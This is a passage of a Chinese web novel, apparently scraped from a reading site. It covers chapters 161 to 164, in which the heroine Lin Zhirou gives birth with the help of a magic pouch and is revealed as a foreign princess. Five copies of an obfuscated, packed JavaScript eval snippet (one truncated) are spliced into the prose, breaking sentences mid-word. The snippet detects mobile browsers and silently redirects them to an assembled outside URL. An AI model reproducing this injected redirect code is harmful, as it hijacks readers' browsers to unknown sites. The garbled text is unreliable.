日子一天天过去,春寒料峭渐渐褪去,天气转暖,衣衫也跟着变薄。这天早晨,顾馨巧正在院子里修剪花枝,远远看见林芷柔款步而来。 “柔柔,快来坐......”话未说完,顾馨巧的目光落在儿媳妇微微隆起的小腹上,手中的剪刀差点掉在地上,“这、这是......” 林芷柔抿嘴一笑,脸颊泛起淡淡的红晕。顾馨巧连忙上前拉住她的手,仔细打量着。 “你这孩子,怎么有了身子也不说?”顾馨巧又惊又喜,“每日还来给我行礼,可别伤着孩子。” “娘,我没事的。”林芷柔笑得明媚,眼中闪烁着幸福的光芒,“这才多大点儿,哪那么容易伤着。再说,我是大夫,知道该注意什么。” 顾馨巧看着儿媳妇红润的面色,心中暗自欣慰。自从柔柔进门,不仅把府里上下的身子都调理得好好的,就连她自己也是气色极佳。 这时,赵氏端着参汤进来,一眼就瞧见了林芷柔的变化。她惊喜得差点打翻手中的汤碗,“世子妃有喜了?老奴就说最近世子妃的气色格外好。” “赵姨娘费心了。”林芷柔起身要行礼,却被赵氏连忙扶住。 “使不得使不得,世子妃可别动了。”赵氏笑得合不拢嘴,“老奴早就准备了些小衣裳,这下可派上用场了。” “多谢赵姨娘。”林芷柔眼中满是感激。自从她治好了赵氏的心疾,这位老人家就把她当亲闺女一般疼爱。 消息很快传遍了整个楚府。下人们私下议论纷纷,都说世侯妃有了身子,府里怕是要热闹起来了。 林芷柔依旧每日去仁心医馆坐诊。她深知,有仙露泉调理,别说是孕吐,就是再大的不适也能轻松化解。倒是楚星河,每每看她出诊回来,总是一脸心疼。 “要不,你就在家里好好养胎?”这天傍晚,楚星河接她回府时忍不住说道。 林芷柔摇摇头,“我是大夫,总不能因为自己有了身子,就不管病人死活。再说,适当走动对胎儿有好处。” 楚星河无奈,只得叮嘱马夫走得慢些,生怕颠着她。 不久后,青羽带回了舅舅的信。林芷柔将锦囊里养大的两只鹰隼送给了舅舅。这两只鹰隼是她精心培育的,通人性得很,最是适合传递消息。 青羽虽然舍不得,却也只能听命。临走时,他还依依不舍地摸了摸鹰隼的羽毛。 舅舅在信中说,星**已经试制成功,正在进行最后的调试。朝中旧臣已联络妥当,时机一到便可发动政变。看到这里,林芷柔不由得握紧了信纸。 与此同时,楚涵凤的预产期也快到了。得益于仙露泉的调理,她的身体状况极好,面色红润,精神饱满,丝毫看不出临产在即的疲态。 “柔柔姐,你说我会不会......”楚涵凤欲言又止,眼中闪过一丝担忧。 林芷柔握住她的手,柔声道:“放心,有我在,不会有事的。” 果然,在林芷柔的帮助下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778052|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,楚涵凤顺利产下一名女婴。小家伙粉雕玉琢,哭声洪亮,一看就是个健康的娃娃。 “哎呀,我的宝贝孙女来了!”柳雅芝抱着孙女爱不释手,眼角都笑出了褶子,“瞧这水灵劲儿,比你爹刚出生时强多了。” 宁老太太闻讯赶来,见孙女和曾孙女都气色红润,不由得暗暗称奇。要知道,一般产妇生产后都是面色苍白,精神萎靡,哪像涵凤这般红光满面。 “凤儿,你这是吃了什么好东西?”老夫人压低声音问道,眼中满是好奇。 楚涵凤笑道:“没什么特别的,就是听大姑姐的话,多走动,多运动。再说,有大姑姐照看着,我心里踏实。” 林家添了新丁,柳雅芝特意煮了一百个红鸡蛋分给来看诊的病人。众人都说,还是林家人开明,生了个千金也这般喜庆。 “大夫,恭喜啊!”一位常来看诊的老大娘接过红鸡蛋,笑眯眯地说道,“听说您也有喜了?” 林芷柔微微一怔,随即笑道:“是啊,刚三个月。” “那可要好好保重。”老大娘叮嘱道,“虽说您是大夫,可也别太操劳了。” 林芷柔点点头,心中涌起一股暖意。这些年来,她在仁心医馆行医,与病人们建立了深厚的感情。他们不是简单的医患关系,更像是一家人。 夜色渐深,林芷柔收拾好医馆,准备回府。刚走到门口,就看见楚星河已经在那里等候。 “今天病人多吗?”他接过她手中的药箱,关切地问道。 林芷柔摇摇头,“还好,就是有些累。” 楚星河立刻将她打横抱起,不顾她的惊呼,大步向马车走去。 “放我下来,这么多人看着呢。”林芷柔红着脸小声**。 “让他们看。”楚星河低头在她耳边轻声说道,“我的娘子,我不心疼谁心疼。” 马车缓缓驶入夜色中,载着这对恩爱夫妻回到温暖的家。天边的新月如钩,静静地注视着这一切,仿佛在为他们的幸福微笑。 第一百六十一章 林府 楚涵凤坐在床边,轻轻抚摸着怀中熟睡的女儿。窗外的喧闹声不断传来,街坊邻居络绎不绝地前来送红鸡蛋,庆贺林家添了新丁。 她听到父亲爽朗的笑声从院子里传来,想必又有人在夸赞他眼光好,把女儿嫁进了林家这样的好人家。这些天来,父亲的笑容就没断过。自从她嫁入林家,父亲的生意也跟着红火起来,林家的好东西总会优先留给他一份。 “涵凤啊,又有人来看你了。”婆婆林老夫人的声音从门外传来。 楚涵凤正要起身,林老夫人已经快步走了进来:“你坐着别动,我来应付就好。”说着,又细心地帮她掖了掖被角。 “娘,我没事的。”楚涵凤想要起身。 林老夫人按住她的肩膀:“你刚生完孩子,要好好休养。”说着,又叮嘱道:“待会我让厨房给你炖个鸡汤。” “娘,您太操心了。”楚涵凤眼眶微红。 “傻孩子,你是我儿媳妇,我不心疼你心疼谁?”林老夫人慈爱地摸了摸她的头,“生了女儿怎么了?我们林家最不在意这个。你看你芷柔姐,不也是女子?帮着把家里的生意打理的井井有条,比寻常男人还要出色。” 正说着,外面传来一阵脚步声。林文昂推门而入,手里还端着一碗热气腾腾的鸡汤。 “娘,我来伺候涵凤吧。”林文昂将鸡汤放在桌上。 林老夫人笑着点点头:“你们小两口说说话,我去看看外面。” 等林老夫人出去后,林文昂在床边坐下:“在想什么?” “在想清儿的事。”楚涵凤叹了口气,眉头微蹙,“听说她又回娘家哭闹了。” 提起妹妹楚涵清,楚涵凤就忍不住担心。那日在她的婚礼上**,后来匆匆嫁给了张秀才,这婚事本就不情愿,如今更是三天两头回娘家哭闹。 林文昂握住她的手:“我听大姐说,已经让她的姨娘过去照看了。” “希望能管用吧。”楚涵凤低头看着熟睡的女儿,眼中闪过一丝忧虑,“相公,我......” “又在胡思乱想了?”林文昂伸手轻抚她的发丝,“生了女儿怎么了?我们林家最不在意这个。你看大姐,不也是......” “我知道的。”楚涵凤打断他的话,嘴角勾起一抹浅笑,“我只是在想,清儿要是能嫁进林家这样的人家就好了。” 林文昂神色一顿,随即笑道:“你啊,就是太爱操心了。” “对了,听说你去帝都了?”楚涵凤转移话题。 提起帝都,林文昂眼中闪过一丝兴奋:“是啊,这次去收获不小。在那边也建了个庄子,比这边的还大。” “真的?”楚涵凤眼睛一亮。 “嗯,都是按照大姐说的法子来的。”林文昂笑道,“只要有地,就能顺利复刻。不过这事暂时不要声张,低调些好。” 楚涵凤点点头:“我明白的。” 怀中的女儿突然哭闹起来,楚涵凤赶忙查看。 “怎么了?”林文昂紧张地凑过来。 “没事,就是尿布湿了。”楚涵凤笑着说,“我来换就好。” “要不要叫娘来帮忙?” “不用,娘这些天已经够辛苦了。”楚涵凤熟练地给女儿换着尿布,动作轻柔,“对了,相公,我想和你说件事。” “什么事?” “我之前的奶娘......”楚涵凤迟疑片刻,“她一直待我很好,如今年纪大了,在家也没人照顾。你看能不能......” “当然可以。”林文昂毫不犹豫地答应,“明天我就和娘说,把人接来。” 楚涵凤眼眶微红:“谢谢你。” “说什么谢,你是我媳妇,对你好的人就是对我好。”林文昂将她搂入怀中,“别想那么多,安心养胎,下次给我生个大胖小子。” 正说着,外面传来一阵急促的脚步声。林家大姐匆匆推门而入,脸色有些凝重。 “大姐,怎么了?”林文昂站起身。 “刚收到消息,帝都那边出了点事。”林家大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778053|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐压低声音,“张家那边......” 林文昂神色一变:“我这就去书房。” 等林文昂出去后,楚涵凤有些担心:“大姐,是不是出什么事了?” 林家大姐摇摇头:“你别担心,有我和你相公在。”说着,又叮嘱道:“这些事你别操心,好好养身子要紧。” 楚涵凤点点头,但心里还是有些不安。她知道林家在帝都的生意越做越大,难免会遇到一些阻力。只是没想到,这么快就......“ ”涵凤,你在想什么?“林家大姐打断她的思绪。 ”大姐,我......“楚涵凤欲言又止。 ”傻丫头。“林家大姐在床边坐下,”你是不是在担心帝都的事?“ 楚涵凤点点头。 ”放心吧,不会有事的。“林家大姐拍拍她的手,”我们林家做生意,向来是按规矩来的。这次的事,不过是有人眼红罢了。“ 楚涵凤抿了抿唇:”可是......“ ”没什么可是的。“林家大姐打断她的话,”你现在最重要的是养好身子。等你身子好了,我教你一些管账的法子,也好帮着你相公分担些。“ 楚涵凤眼睛一亮:”真的吗?“ ”当然是真的。“林家大姐笑道,”你是个聪明的,学起来一定很快。“ 正说着,外面又传来一阵喧闹声。又有人来送红鸡蛋了。 林家大姐站起身:”我出去应付一下。“ 看着林家大姐离开的背影,楚涵凤心中暖暖的。这个家,每个人都在用自己的方式关心着她。 窗外,又一波送红鸡蛋的人来了。林家的好名声在云州传开,却没人知道他们在帝都已经有了更大的基业。 这个家,低调而温暖,朴实而富足。虽然偶尔也会遇到一些波折,但只要一家人齐心,就没有过不去的坎。 楚涵凤低头看着怀中熟睡的女儿,心中充满了期待。她相信,在这样好的家里,女儿一定能平安喜乐地长大。 第一百六十二章 生产 林文昂望着妻子憔悴的面容,心中一阵揪痛。楚涵凤这些日子总是闷闷不乐,连饭都吃不下几口。他知道,妻子一直在为没能生下儿子而自责。 “傻瓜。”他轻轻捏了捏楚涵凤的鼻尖,目光中满是怜惜,“生儿子这事儿,哪有那么难?你看把自己愁的。爹娘都不着急,你倒先急上了。” 楚涵凤低垂着眼帘,手指无意识地绞着衣角。“可是......”欲言又止的话在唇边打转,最终还是化作一声轻叹。 屋外的风轻轻拂过窗棂,带来几片落叶。林文昂搂住妻子的肩膀,感受到她微微的颤抖。“咱们都还年轻着呢,来日方长。” “真的不要紧吗?”楚涵凤抬起头,眼中带着几分忐忑。 “当然。”林文昂笑着点头,“你要是实在放心不下,我们就多生几个。我娘不就是这样?头胎是我大姐,后面全是小子。” 这番话让楚涵凤破涕为笑:“就你会哄人。”她靠在丈夫怀里,心里的阴霾散了不少。有这样一个体贴的相公,还有什么不知足的呢? 夜色渐深,月光透过窗棂洒在地上,在屋内投下斑驳的影子。林文昂轻轻拍着妻子的背,直到她呼吸渐渐平稳,这才小心翼翼地为她掖好被角。 次日清晨,林文昂早早起身,来到母亲房中。 “娘,我想给涵凤请个奶娘。”他开门见山地说道,“她这些日子总是睡不好,有人帮着照看孩子,也能让她休息得好些。” 柳雅芝正在绣花,闻言手上的动作顿了顿。“等你姐来了再商量吧。” “娘,这事儿我去办就成。”林文昂拍着胸脯保证,“我去找岳父商量,他在这方面应该有门路。” 一旁的林山放下手中的茶盏,冷哼一声:“你小子在外头也算见过世面,?这奶娘的事要查清楚,可别到时候惹出麻烦来。” “爹说得对。”林文昂认真点头,“我这就去找岳父。” 楚家老宅里,楚老爷正在书房看账本。听说女婿来访,连忙让人请进来。 “远昂来得正好。”楚老爷放下手中的毛笔,“我正想着要去看看涵凤。这孩子,也不知道最近怎么了,听说总是闷闷不乐。” 林文昂叹了口气:“她一直在为没生下儿子的事情发愁。” “胡闹!”楚老爷拍案而起,“这有什么好愁的?你们还年轻着呢。”说着,他的语气又柔和下来,“不过请个奶娘确实是个好主意。我记得老家还有个裴嬷嬷,是从小照顾涵凤的,人品没得说。” 傍晚时分,林文昂带着裴嬷嬷回到家中。这位满头银发的老妇人一见到楚涵凤,立刻泪如雨下。 “我的小姐啊!”裴嬷嬷颤抖着声音,“让老奴好想啊!” 楚涵凤也红了眼眶,与裴嬷嬷相拥而泣。童年的点点滴滴涌上心头,那些被时光冲淡的记忆又变得清晰起来。 日子过得飞快,转眼便到了深秋。林芷柔的预产期近在眼前,整日待在家中养胎。院子里的枫叶已经染红,偶尔有几片随风飘落,在地上铺就一层红毯。 东吴那边,柳芝黄已经坐稳了龙椅。有外甥女送的两只鹰隼相助,他如虎添翼。一只用来传递军情,另一只专门与外甥女联络。这两只神骏的飞禽,让他在朝中更添几分威势。 星**的威力震慑四方,太后蓝澜玉的反抗势力土崩瓦解。他对外宣称星**是自己所造,无人敢质疑。朝中大臣们看着那冒着硝烟的铁管,无不噤若寒蝉。 深秋的一个楚晚,林芷柔的产期到了。 阵痛来得又急又猛,她从未经历过这样的痛楚。每一波疼痛都像是刀割般难熬,汗水很快浸透了里衣。 “啊!”她紧紧抓住床单,指节因用力而发白。 门外的楚星河急得像热锅上的蚂蚁,来回踱步。“柔柔!让我进去!”他的声音里带着焦急和心疼。 “别胡闹!”顾馨巧厉声喝止,“生产哪有男人进去的道理!你在外面好好等着!” 产房里,林芷柔疼得几乎失去意识。她后悔没有选择在锦囊里生产,但现在说什么都晚了。连仙露泉都不敢喝,这苦头只能自己受着。 “世子妃,现在才开了四指。”接生婆擦了擦额头的汗,“您得留着力气啊。” 顾馨巧心疼地为儿媳擦汗,看着她苍白的脸色,不由得红了眼眶。“柔柔,坚持住......” 话音未落,林芷柔已经昏了过去。产房里顿时乱作一团。 “柔柔!”顾馨巧惊呼出声,“快!快去请大夫!” 门外的楚星河听到动静,心急如焚。他一把推开守在门口的丫鬟,就要闯进去。 “世侯!”几个嬷嬷连忙拦住他,“您不能进去啊!” “放开我!”楚星河怒吼,“柔柔她......” 产房外的楚星河听闻柔柔晕厥的消息,心脏仿佛被人狠狠攥住。 他的手指无意识地抠着掌心,留下一道道深深的月牙印。耳边传来阵阵痛苦的呻吟,每一声都像是一把利刃,狠狠地剜在他心上。 “世子爷,世子妃现在情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778054|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太好,您还是......” 话未说完,楚星河已经一把推开房门冲了进去。扑面而来的血腥气息让他瞬间僵在原地,目光死死地锁定在床榻上那道单薄的身影。 床榻上的林芷柔面色惨白如纸,额头上布满细密的汗珠,纤长的睫毛微微颤动,却始终未能睁开。她的呼吸微弱得几乎察觉不到,整个人像是随时会消散的晨雾。 楚星河双腿一软,重重地跪倒在床前。他颤抖着伸出手,想要触碰那张苍白的小脸,却又害怕自己的动作会伤害到她。 “柔柔...柔柔...”他的声音沙哑得不成样子,喉咙像是被火烧过一般疼痛。 往日那个活泼灵动的小仙女,此刻却像个破碎的瓷娃娃,脆弱得让人心疼。她总是笑眯眯地叫他“楚大哥”,眼睛亮晶晶的,仿佛装着整个星空。可现在,那双明亮的眼睛紧闭着,连一丝生气都看不到。 楚星河的心揪成一团,呼吸都变得困难。他小心翼翼地将人搂入怀中,感受着怀里人微弱的体温,心中涌起无尽的恐惧。 “萤萤,快给我水,柔柔撑不住了。”他低声呼唤锦囊里的小精灵,声音里带着几分哀求。 一旁的顾馨巧看着儿子失魂落魄的样子,心疼不已。她从未见过向来稳重的儿子如此慌乱,连说话都语无伦次:“星河,柔柔只是疼晕过去了,娘这就去请大夫。你在说什么萤萤?要水跟娘说啊。” 楚星河缓缓抬头,眼中满是哀求:“母亲,求您带着产婆们先出去,让我和柔柔单独待会。” “这怎么行?她正要生产,我们怎能离开?”顾馨巧急道,“万一有什么意外......” “出去!都出去!”楚星河突然暴喝,声音里带着前所未有的威严。 赵氏见状,连忙拉住要说话的顾馨巧:“夫人,世子爷心急如焚,我们先出去等等吧。”说着,便将满脸担忧的顾馨巧拉出了房间。 房门一关,萤萤立刻送来仙露泉。楚星河小心翼翼地撬开柔柔的牙关,一点一点喂她喝下。他的动作轻柔得像是在对待世间最珍贵的宝物,生怕稍有不慎就会伤到她。 林芷柔却在这时陷入了一个奇怪的梦境。梦里,她看到自己躺在担架上,身上盖着鲜艳的国旗,周围是泪流满面的同事。有人在低声啜泣,有人在默默擦泪,还有人握着她的手不愿松开。 耳边不断传来楚星河焦急的呼唤声,像是从很远的地方传来,又像是近在咫尺。那声音里包含着太多情绪,担忧、焦虑、心疼,还有深深的爱意。 第一百六十三章 小公子诞生 画面一转,她看到自己的遗体被送进火化炉,连同国旗一起化为灰烬。刺鼻的焦味中,似乎还夹杂着淡淡的药香。 就在她困惑之际,一股强大的力量将她拉回现实。睁开眼,发现自己正在锦囊里。熟悉的环境让她稍稍安心,但随即又被眼前的景象惊到。 楚星河红着眼眶看着她,泪水止不住地往下掉。他的眼睛布满血丝,脸上写满了疲惫和担忧,却在看到她醒来的那一刻绽放出欣喜的光芒。 “太好了,你终于醒了。”他哽咽着说,声音里带着浓浓的鼻音。 林芷柔抬手擦去他脸上的泪水,心中涌起暖意。她从未见过这个男人如此失态,往日里的从容淡定荡然无存,剩下的只有赤裸裸的真情流露。 “你是如何进来的?”她虚弱地问,声音细若蚊吟。 “求萤萤带我们进来的。你还疼吗?”楚星河握住她的手,温暖的掌心传来阵阵暖意。 提起疼痛,林芷柔才想起自己正在生产。奇怪的是,在锦囊里疼痛减轻了许多,只剩下隐隐的酸胀感。 “没那么疼了,但我得在这里待会,出去怕又受不了。”她轻声说道,眼中闪过一丝担忧。 楚星河紧握着她的手:“我已经把门闩上了,让我陪着你好不好?我放心不下。”他的语气近乎恳求,眼中满是不安。 看着他担忧的样子,林芷柔点点头。她知道,这个男人此刻比她更需要安慰。 没过多久,一阵强烈的宫缩袭来。林芷柔的脸色瞬间变得惨白,额头上又冒出细密的汗珠。 “要生了,得出去了。”林芷柔咬着牙说,声音里带着几分颤抖。 楚星河立刻抱起她,下一秒他们已回到产房。他的动作轻柔而坚定,生怕碰疼了她。 “我去叫母亲她们进来,别怕,我就在外面。”他在她额头上轻轻一吻,眼中满是不舍。 产婆们冲进来时,已经能瞧见孩子的头了。房间里弥漫着紧张的气氛,所有人都屏住呼吸,生怕错过任何一个细节。 “用力!再用力!”产婆的声音响起,带着几分急切。 林芷柔咬紧牙关,额头上的汗水顺着脸颊滑落。她能感觉到生命在体内蓄势待发,那种强烈的冲动让她几乎喘不过气来。 终于,伴随着一声响亮的啼哭,新的生命降临人间。那声啼哭穿透了厚重的房门,传入楚星河的耳中。 他站在门外,双手紧握成拳,指节发白。直到听见那声啼哭,紧绷的神经才稍稍放松。他深深地吸了一口气,眼中闪过一丝释然。 产婆抱着刚出生的婴儿,脸上的笑容像是绽放的花朵,她快步走向屋内众人。 “恭喜夫人,是个小公子!”她的声音里带着欣喜,目光在众人脸上扫过,“瞧这孩子,生得多俊俏!” 顾馨巧站在床边,看着床上脸色苍白的林芷柔,手指微微颤抖。生产时的惊险场面还历历在目,那一刻她真怕失去这个儿媳妇。 “柔柔,辛苦你了。”她俯身轻声安慰,手掌轻轻抚过儿媳妇被汗水浸湿的鬓角,“别睡,我去给你端些吃的来。” 赵氏早已在门外候着,手中端着一碗热气腾腾的鸡汤。听到是男孩,她连声念着佛号,眼角泛起喜悦的泪光。 “老天保佑,老天保佑啊。”她低声呢喃,目光慈爱地望向产房。 楚星河站在门外,眉头紧锁。他看着产房里忙碌的身影,心中翻涌着复杂的情绪。柔柔为了给他生这个孩子,差点丢了性命,那一刻的无助与恐惧仍让他心有余悸。 顾馨巧从赵氏手中接过鸡汤,瞪了儿子一眼。她什么也没说,但那眼神里分明写着责备。 “世子爷别放在心上,”赵氏见状,连忙劝慰,“夫人只是一时心疼儿媳妇。” 楚星河淡淡应了声,目光始终没离开过房门。他在等产婆离开,好进去陪着柔柔。那双平日里清冷的眼眸此刻满是担忧,手指无意识地摩挲着衣袖。 待产婆收了赏钱离开,林芷柔喝完鸡汤,便闭目假寐。顾馨巧本想训斥儿子几句,看到儿媳妇疲惫的模样,只得又瞪了儿子一眼,带着赵氏退了出去。 房内只剩下三人,林芷柔立刻带着丈夫和孩子进了锦囊。空气中弥漫着淡淡的药香,四周种满了各色药材,远处还有一片果园,郁郁葱葱。 她取出一个玉瓶,倒出几滴晶莹剔透的仙露泉,先给孩子喂了几口。这灵泉水能增强体质,对新生儿最是有益。 “以后每天都要给他喂些。”她轻声说着,自己也饮了几口,苍白的脸色顿时红润了些。 楚星河看着妻子和孩子,心中涌起一阵暖意。他伸手轻轻抚摸着孩子的小脸,动作轻柔得仿佛在对待世间最珍贵的宝物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781876|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们给他取个什么名字?”林芷柔靠在丈夫怀里,柔声问道。 “就叫楚阳吧,”楚星河温柔地说,“辰时出生,寓意光明。” 顾馨巧本想请奶娘来照顾孩子,却被林芷柔婉拒绝了。她要亲自喂养,既是不想让孩子跟自己生分,也是为了方便给孩子喂些锦囊里的好东西。 锦囊里的黑土地早已不只种药材,各种瓜果蔬菜应有尽有。那些果实色泽鲜艳,香气四溢,比外面的不知要好上多少倍。 林家和楚家平日里吃的水果蔬菜,大多来自她的锦囊。虽然没人问这些东西的来历,但吃过的人都知道不一般。每次尝到这些果实,府里的下人们都会赞不绝口。 顾馨巧曾经按捺不住好奇,向楚云浪打听过这些东西的来历。却被他轻轻拦住了。 “有这样的好东西,就安心享用,问多了反倒不美。”楚云浪眼中闪过一丝深意,“你没发现喝了她给的水后,我那些**病都好了吗?” 此后顾馨巧便不再过问,只是惊喜地发现,自己那些烦人的小病痛也都不知不觉消失了。连年轻时落下的风湿,也再没发作过。 赵氏更是从不多嘴,夫人给什么她就接着,一直默默感激着。她只在私下里跟顾馨巧感叹,说少夫人就像是天上下凡的仙女,带来了这么多神奇的东西。 在这样的调养下,林芷柔坐完月子,身材恢复如初,连一点臃肿都看不出来。这让府里其他夫人们羡慕不已,私下里议论纷纷,猜测她用了什么秘方。 满月酒办得很是简单,只请了些亲朋好友。但小家伙的表现却让所有人都惊喜不已。 才这么点大,就能听声辨位。谁喊他一声“阳阳”,他就会转动小脑袋去寻找,找到了还会咧嘴一笑,露出没长牙的小嘴。 这可把顾馨巧和楚云浪乐坏了,整天抱着玩耍,爱不释手。有时候连吃饭都顾不上,生怕错过孙子的一个笑容。 楚星澜最喜欢逗他玩捉迷藏,在他四周转来转去地喊他。小家伙总能准确找到声音的来源,那双乌溜溜的大眼睛机灵得很,没找到也不发愁,就眨着眼睛继续寻找。 “这孩子聪明着呢,”楚星澜抱着侄子,眼中满是宠爱,“比他爹小时候强多了。” 楚星河听了这话,嘴角微微抽搐,却也没反驳。他看着儿子天真的笑脸,心中满是柔软。 第一百六十四章 原来是公主 林芷柔出了月子就打算回仁心医馆坐诊。顾馨巧舍不得孙子,便跟着一起去帮忙带孩子。每天抱着孙子在医馆里转悠,看着儿媳妇给人看病,心里说不出的自豪。 在那里,她认识了柳雅芝。得知对方是东吴的嫡公主,却每天忙里忙外地照顾家人,丝毫没有架子,顾馨巧对她很是佩服。 两人一起带孩子,倒也其乐融融。柳雅芝的小孙女儿比楚阳大几个月,两个孩子放在一起,像是天生的玩伴。 裴嬷嬷来了之后,把厨房的活都包了下来。一来是她手艺好,二来是感激林家待她如亲人。这让柳雅芝也轻松了不少,每天就是买菜带孙女,和顾馨巧说说话。 医馆里的日子过得平静而温馨。林芷柔给人看病,顾馨巧带孩子,柳雅芝帮着打理杂务,裴嬷嬷负责后厨,各司其职,配合默契。 年底时,东吴派人来接柳雅芝回国。临走时,她依依不舍地抱着林芷柔,眼中含泪。 “多亏了你们这段时间的照顾,”她哽咽着说,“若不是你,我和孩子怕是早就...” 林芷柔轻轻拍着她的后背,安慰道:“别说这些了,你们平安就好。” 没过多久,林芷柔就收到了消息,说舅舅要封她为安国公主。信使带来了一封亲笔信,字里行间都是感激之情。 “这封号可不轻啊。”楚云浪看着信笺,笑道,“看来你舅舅很感激你的帮助。” 林芷柔抱着儿子,望着窗外的落日,心中涌起一阵温暖。这一切,都是最好的安排。 楚云浪听完儿子和儿媳的解释,眼底闪过一丝惊叹,手指无意识地摩挲着茶杯边缘。屋内檀香袅袅,茶香四溢,却掩不住他内心的波澜。 “原来如此。”他放下茶杯,目光在儿子儿媳间来回逡巡,“还是柔柔考虑得周到。这星**的造价确实不能太高,否则我们楚家也难以承担。” 林芷柔端坐在椅上,姿态端庄优雅。她怀中的小阳阳正安静地酣睡,粉嫩的小脸蛋上挂着甜甜的笑意。 “舅舅说过,东吴的工匠们已经在着手改良星**。”她轻声解释道,“他们会尽量选用价格适中的材料,既要保证星**的性能,又不至于让造价太过高昂。” 楚云浪点点头,眉头却突然紧蹙:“只是...”他站起身,在屋内来回踱步,“这星**的制造之法若是泄露出去,尤其是落入玄冥**手中,恐怕会对我天玄不利啊。” 话音刚落,屋内气氛骤然凝重。 “父亲不必担心。”楚星河放下手中茶盏,神色从容,“柔柔早就想到了这一点。东吴国君已经答应,绝不会将星**技术外传,更不会借此骚扰他国。若要出让,也只会给我天玄。” 林芷柔微微颔首:“舅舅还特意说了,就算天玄想要星**技术,也必须由我们楚家出面才行。” 这话让楚云浪眼前一亮,他停下脚步,胡须微动:“这倒是个不错的保障。” 不过楚星河却摇了摇头,眼中闪过一丝忧虑:“父亲,这事暂且不提。我只愿天玄永远不会有需要我们去求取星**之技的那一天。” 屋内一时寂静。 楚云浪听罢,也冷静下来。他重新坐回椅上,目光深远:“确实,若真到了那般田地,怕是天玄已经危在旦夕了。” 正说着,怀中的小阳阳突然醒来,咿呀出声。小家伙睁着乌溜溜的大眼睛,小手挥舞着,似乎也想加入谈话。 “哎呀,我们阳阳也有话要说啊?”楚云浪脸上的凝重一扫而空,笑意盈盈地逗弄着孙子。 小家伙被逗得更加兴奋,发出一连串“啊啊哦哦”的声音,小脸蛋红扑扑的,像个熟透的小苹果。 顾馨巧听见欢笑声,掀开帘子走了进来。她手里端着一碗刚熬好的莲子羹,香气四溢。 “这孩子,可真是个开心果。”顾馨巧将莲子羹放在桌上,笑着说道,“从出生到现在,就没见他哭闹过几次。” 林芷柔接过婆婆递来的莲子羹,轻轻吹了吹:“是啊,阳阳特别喜欢和人互动。只要有人陪着说话,他就会特别开心。” 顾馨巧坐在一旁,看着祖孙三代其乐融融的场景,眼中满是慈爱。 然而这温馨的时刻并未持续太久。 三日后,东吴的仪仗队浩浩荡荡地抵达云州。十二名身着红衣的仪仗兵手持**,护送着一位身穿紫袍的太监,直奔仁心医馆而来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781877|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当圣旨在医馆前宣读时,林家人却无一人下跪。倒是来迎接的官员们,纷纷跪伏在地,战战兢兢。 这一幕让围观的百姓们惊诧不已。议论声此起彼伏,如同沸腾的开水。 “这...这是怎么回事?” “林大夫竟然不用下跪?” “听说了吗?林大夫原来是东吴国的安国公主!” 消息如风般在云州传开。街头巷尾,茶楼酒肆,到处都在议论这件事。 胡同深处,柳川馨坐在轮椅上,死死攥着扶手,指节泛白。她眼中满是怨毒,嘴角不住地抽搐。 “难怪...难怪当年在山寨里,她一眼就看穿了我的身份。”柳川馨咬牙切齿,“原来是东吴皇室中人,怪不得身怀绝技。” 轮椅吱呀作响,在她的操控下缓缓转向。柳川馨望着医馆的方向,眼中闪过一丝阴狠:“总有一天,我要你们付出代价!” 五天后就要启程前往东吴。 